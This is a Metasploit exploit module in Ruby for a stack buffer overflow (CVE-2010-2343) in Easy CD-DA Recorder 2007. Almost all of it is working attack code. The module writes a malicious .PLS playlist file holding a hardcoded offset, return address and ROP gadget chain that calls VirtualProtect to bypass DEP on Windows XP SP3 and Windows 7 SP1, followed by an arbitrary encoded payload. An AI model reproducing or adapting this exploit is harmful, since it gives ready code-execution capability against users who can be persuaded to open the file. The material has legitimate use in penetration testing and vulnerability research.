Easy CD-DA Recorder PLS Buffer Overflow

##

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'Easy CD-DA Recorder PLS Buffer Overflow',

'Description' => %q{

This module exploits a stack-based buffer overflow vulnerability in

Easy CD-DA Recorder 2007, caused by a long string in a playlist entry.

By persuading the victim to open a specially-crafted .PLS file, a

remote attacker could execute arbitrary code on the system or cause

the application to crash. This module has been tested successfully on

Windows XP SP3 and Windows 7 SP1.

},

'License' => MSF_LICENSE,

'Author' =>

[

'chap0', # Vulnerability discovery and original exploit

'Gabor Seljan', # Metasploit module

'juan vazquez' # Improved reliability

],

'References' =>

[

[ 'BID', '40631' ],

[ 'EDB', '13761' ],

[ 'OSVDB', '65256' ],

[ 'CVE', '2010-2343' ],

[ 'URL', 'http://www.corelan.be:8800/advisories.php?id=CORELAN-10-048' ]

],

'DefaultOptions' =>

{

'ExitFunction' => 'process'

},

'Platform' => 'win',

'Payload' =>

{

'DisableNops' => true,

'BadChars' => "\x0a\x3d",

'Space' => 2454,

'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # ADD ESP,-3500

},

'Targets' =>

[

[ 'Windows XP SP3 / Windows 7 SP1 (DEP Bypass)',

# easycdda.exe 3.0.114.0

# audconv.dll 7.0.815.0

{

'Offset' => 1108,

'Ret' => 0x1001b19b # ADD ESP,0C10 # RETN 0x04 [audconv.dll]

}

]

],

'Privileged' => false,

'DisclosureDate' => 'Jun 7 2010',

'DefaultTarget' => 0))

register_options(

[

OptString.new('FILENAME', [ false, 'The file name.', 'msf.pls'])

],

self.class)

end

def nops

return make_nops(4).unpack("V").first

end

def rop_nops(n = 1)

# RETN (ROP NOP) [audconv.dll]

[0x1003d55d].pack('V') * n

end

def exploit

# ROP chain generated by mona.py - See corelan.be

rop_gadgets =

[

0x1007261e, # POP EDX # RETN [audconv.dll]

0x0042a0e0, # &VirtualProtect() [IAT easycdda.exe]

0x1003bd6b, # MOV EAX,DWORD PTR DS:[EDX] # RETN [audconv.dll]

0x10035802, # XCHG EAX,ESI # RETN [audconv.dll]

0x1005d288, # POP EBP # RETN [audconv.dll]

0x004030c8, # &PUSH ESP # RET 0x08 [easycdda.exe]

0x1005cc2d, # POP EBX # RETN [audconv.dll]

0x00000996, # 0x00000996-> EBX

0x1008740c, # POP EDX # RETN [audconv.dll]

0x00000040, # 0x00000040-> EDX

0x1001826d, # POP ECX # RETN [audconv.dll]

0x004364c6, # &Writable location [easycdda.exe]

0x00404aa9, # POP EDI # RETN [easycdda.exe]

0x100378e6, # RETN (ROP NOP) [audconv.dll]

0x0042527d, # POP EAX # RETN [easycdda.exe]

nops,

0x00429692 # PUSHAD # INC EBX # ADD CL,CH # RETN [easycdda.exe]

].flatten.pack('V*')

sploit = rop_nops(target['Offset'] / 4)

sploit << [0x1003d55c].pack("V") # pop edi # ret [audconv.dll]

sploit << [target.ret].pack("V")

sploit << rop_nops(22)

sploit << rop_gadgets

sploit << payload.encoded

sploit << rand_text_alpha_upper(10000) # Generate exception

# Create the file

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(sploit)

end